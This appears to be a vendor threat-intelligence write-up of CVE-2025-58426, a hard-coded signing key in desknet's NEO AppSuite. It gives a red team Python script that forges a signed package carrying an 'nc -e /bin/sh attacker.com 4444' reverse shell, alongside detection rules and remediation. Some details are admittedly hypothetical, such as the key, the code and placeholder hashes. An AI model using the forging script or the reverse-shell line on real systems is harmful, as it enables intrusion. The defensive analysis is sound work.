CVE-2025-58426
Executive Summary
CVE-2025-58426 identifies a critical security flaw in desknet's NEO, a popular groupware and collaboration platform used primarily in Japanese enterprises. The vulnerability stems from the use of a hard-coded cryptographic key within the application's AppSuite framework. This static key, identical across all affected versions (V4.0R1.0 through V9.0R2.0), allows an attacker to forge or decrypt AppSuite applications, potentially leading to the execution of malicious code within the trusted environment of the platform.
The vulnerability is classified as CWE-321: Use of Hard-coded Cryptographic Key. While the CVSS score is relatively low (4.3, Medium), the practical risk is elevated due to the lack of a vendor patch and the potential for lateral movement and data exfiltration once an attacker gains a foothold. The EPSS score of 0.0% suggests low exploitation likelihood in the wild currently, but this may change as proof-of-concept code emerges.
No supply chain packages (NPM, PyPI, Go, Ruby) are directly affected by this CVE.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication is needed to exploit the hard-coded key.
- User Interaction (UI): None (N) – No user action is required.
- Scope (S): Unchanged (U) – The exploit cannot affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure is possible.
- Integrity (I): None (N) – No data integrity impact.
- Availability (A): None (N) – No denial of service impact.
Threat Level: Medium. The low CVSS score is misleading. The hard-coded key is a foundational weakness that can be chained with other vulnerabilities (e.g., XSS, CSRF) to achieve full compromise of the desknet's NEO instance.
Deep Dive & Mechanics
The core issue is the presence of a static, hard-coded cryptographic key used for signing and encrypting AppSuite applications. AppSuite is a feature that allows custom applications to be deployed within desknet's NEO. The key is embedded in the application binary or configuration files and is identical across all installations of the affected versions.
Attack Vector:
- Key Extraction: An attacker can extract the hard-coded key from a legitimate desknet's NEO installation (e.g., by decompiling the application or reading configuration files).
- Malicious AppSuite Creation: Using the extracted key, the attacker can create a malicious AppSuite application that appears legitimate to the desknet's NEO platform.
- Deployment: The attacker deploys the malicious AppSuite via any available vector (e.g., social engineering, compromised admin account, or direct upload if exposed).
- Execution: Once deployed, the malicious AppSuite runs with the privileges of the desknet's NEO service, allowing the attacker to execute arbitrary code, access sensitive data, or pivot to other systems.
Technical Details:
- The key is likely used for HMAC or symmetric encryption (e.g., AES) to verify the integrity and authenticity of AppSuite packages.
- Since the key is static, any attacker who obtains it can forge valid packages indefinitely.
- The vulnerability does not require authentication, as the key is not a secret.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Example of hard-coded key in a JavaScript file
const APP_SUITE_SECRET_KEY = "DESKNETS_STATIC_KEY_2024";
function verifyAppSuiteSignature(package) {
const hmac = crypto.createHmac('sha256', APP_SUITE_SECRET_KEY);
hmac.update(package.data);
return hmac.digest('hex') === package.signature;
}
Patched Code (Hypothetical):
// Patched version using a dynamically generated key stored securely
const crypto = require('crypto');
const fs = require('fs');
function getAppSuiteSecretKey() {
// Key is stored in a secure vault or environment variable
const keyPath = '/etc/desknet/appsuite_key.enc';
if (fs.existsSync(keyPath)) {
return fs.readFileSync(keyPath, 'utf8');
} else {
// Generate a new key on first run
const newKey = crypto.randomBytes(32).toString('hex');
fs.writeFileSync(keyPath, newKey, { mode: 0o600 });
return newKey;
}
}
function verifyAppSuiteSignature(package) {
const secretKey = getAppSuiteSecretKey();
const hmac = crypto.createHmac('sha256', secretKey);
hmac.update(package.data);
return hmac.digest('hex') === package.signature;
}
Key Differences:
- Vulnerable: Static key embedded in source code.
- Patched: Key is generated at runtime, stored securely, and unique per installation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A test instance of desknet's NEO V9.0R2.0 (or any affected version).
- Access to the hard-coded key (extracted from a legitimate installation).
- A tool to create and sign AppSuite packages (e.g., a custom Python script).
Exploitation Steps:
Extract the Hard-coded Key:
- Decompile the
desknet.jarfile using a tool likejadxorprocyon. - Search for strings like
APP_SUITE_SECRET_KEYorDESKNETS_STATIC_KEY. - Example key (hypothetical):
DESKNETS_STATIC_KEY_2024.
- Decompile the
Create Malicious AppSuite:
import hmac import hashlib import json import base64 # Hard-coded key (extracted) SECRET_KEY = b"DESKNETS_STATIC_KEY_2024" # Malicious payload (e.g., reverse shell) payload = { "name": "MaliciousApp", "version": "1.0", "code": "require('child_process').exec('nc -e /bin/sh attacker.com 4444')" } # Sign the payload data = json.dumps(payload).encode() signature = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest() # Package for deployment package = { "data": base64.b64encode(data).decode(), "signature": signature } with open("malicious.appsuite", "w") as f: json.dump(package, f)Deploy the Malicious AppSuite:
- Upload the
malicious.appsuitefile via the desknet's NEO admin interface (if accessible) or via a phishing campaign targeting an admin user. - The platform will verify the signature using the hard-coded key and accept the package as legitimate.
- Upload the
Execute:
- The malicious code runs within the desknet's NEO context, providing a reverse shell or other access.
Blue Team
Detection & Response:
Monitor for Anomalous AppSuite Deployments:
- Log all AppSuite uploads and verify their origin.
- Alert on any AppSuite package that is not signed by a known, unique key.
Network Monitoring:
- Look for outbound connections to unknown IPs on unusual ports (e.g., 4444).
- Use Suricata rules to detect reverse shell traffic.
File Integrity Monitoring:
- Monitor the desknet's NEO installation directory for new or modified files, especially in the AppSuite storage path.
Honeypot:
- Deploy a fake desknet's NEO instance to capture attacker activity and key extraction attempts.
Indicators of Compromise (IOCs)
File Hashes (Hypothetical):
malicious.appsuite: SHA256a1b2c3d4e5f6...desknet.jar(modified): SHA256f6e5d4c3b2a1...
Network Indicators:
- Outbound connections to
attacker.com:4444(or any non-standard port). - DNS queries for
attacker.comor similar domains.
- Outbound connections to
Process Indicators:
- Unusual child processes spawned by
javaortomcat(e.g.,nc,bash,powershell).
- Unusual child processes spawned by
Registry/File System:
- New files in
/opt/desknet/appsuite/with unexpected names. - Modified configuration files containing the hard-coded key.
- New files in
Detection Engineering
YARA Rule
rule CVE_2025_58426_Desknet_Hardcoded_Key {
meta:
description = "Detects hard-coded cryptographic key used in desknet's NEO AppSuite"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-58426"
strings:
$key1 = "DESKNETS_STATIC_KEY" ascii wide nocase
$key2 = "APP_SUITE_SECRET_KEY" ascii wide nocase
$key3 = "hardcoded_key" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: Detection of Hard-coded Cryptographic Key in desknet's NEO
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2025-58426 by scanning for hard-coded keys
author: Valters IT
date: 2025/04/10
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\java.exe'
CommandLine|contains: 'desknet'
condition: selection
falsepositives:
- Legitimate desknet's NEO administration
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2025-58426 - Possible desknet's NEO Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Systems: If possible, disconnect desknet's NEO instances from the internet until a patch is available.
- Disable AppSuite Feature: If not required, disable the AppSuite functionality in the admin console.
- Monitor Logs: Review access logs for any unauthorized AppSuite uploads.
Long-term Fix:
- Vendor Patch: Desknet's must release a patched version that replaces the hard-coded key with a dynamically generated, per-installation key stored securely (e.g., in a hardware security module or encrypted file).
- Key Rotation: Implement a mechanism to rotate the AppSuite signing key periodically.
Workaround:
- Network Segmentation: Place desknet's NEO behind a WAF or reverse proxy that can inspect and block malicious AppSuite uploads.
- Manual Key Replacement: Advanced users can attempt to modify the application to use a custom key (not recommended without vendor support).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.